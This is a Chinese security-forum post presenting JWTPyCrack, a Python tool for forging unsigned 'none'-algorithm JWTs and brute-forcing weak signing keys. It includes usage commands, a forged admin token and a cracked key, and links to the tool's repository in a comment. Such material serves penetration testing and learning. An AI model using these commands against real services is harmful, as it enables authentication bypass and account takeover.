

JWTPyCrack

JWT 弱口令 Key 爆破以及生成 NONE 加密的无 Key 的 JWTString。

```

  _ _ _ _ _
 | J | W | T | P | Y | C | R | A | C | K |
 | _ | _ | _ | _ | _ | _ | _ | _ | _ |
                                     By:Ch1ng

Usage: jwtdemo.py [options]

Options:
-h, --help                show this help message and exit
-m MODE, --mode=MODE      Mode has generate disable encryption and blasting
                           encryption key [generate/blasting]
-s JWTSTRING, --string=JWTSTRING
                           Input your JWT string
-a ALGORITHM, --algorithm=ALGORITHM
                           Input JWT algorithm default:NONE
-p KEY, --key=KEY         Input your Verify key
--kf=KEYFILE, --key-file=KEYFILE
                           Input your Verify Key File
```

环境

Python >= 3

pip install pyjwt

使用

该脚本能够实现两种攻击方式：禁用哈希重新生成JWT字符串攻击、批量爆破弱密钥

禁用哈希

```
python jwtcrack.py -m generate -s {"admin\":"True\"}
```

```
D:\WorkSpaces\Python\Jwt>python jwtcrack.py -m generate -s {"admin\":"True\"}
eyJ0eXAiOiJKV1QiLCJhbGciOiJub251In0.eyJhZG1pbil6IjRydWUifQ.
```

```
D:\WorkSpaces\Python\Jwt>_
```

批量爆破弱密钥

```
python jwtcrack.py -m blasting -s
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMONTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.keh6T3x1z7mmhKL1T3r9s
--kf C:\Users\Ch1ng\Desktop\2.txt
```

```
D:\WorkSpaces\Python\Jwt>python jwtcrack.py -m blasting -s eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMONTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.keh6T3x1z7mmhKL1T3r9sQdAxxdzB6siemGMr_6Z0wU --kf C:\Users\Ch1ng\Desktop\2.txt
found key! --> 123456
```

```
D:\WorkSpaces\Python\Jwt>
```

感谢

<https://www.freebuf.com/vuls/211842.html>

法律

该项目仅供合法的渗透测试以及爱好者参考学习，请勿用于非法用途，否则自行承担相关责任！

点击收藏 | 1 关注 | 1

[上一篇：从TokyoWesterns 20...](#) [下一篇：TokyoWesterns CTF...](#)

1. 3 条回复



[pt007](#) 2019-09-11 16:24:29

在哪儿下载程序呢？

0 回复Ta



[claysec](#) 2019-09-16 20:19:03

[@pt007](#) 好像是被。。。审核删了

0 回复Ta



[claysec](#) 2019-09-16 20:19:40

下载地址：<https://github.com/Ch1ngg/JWTPyCrack>

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)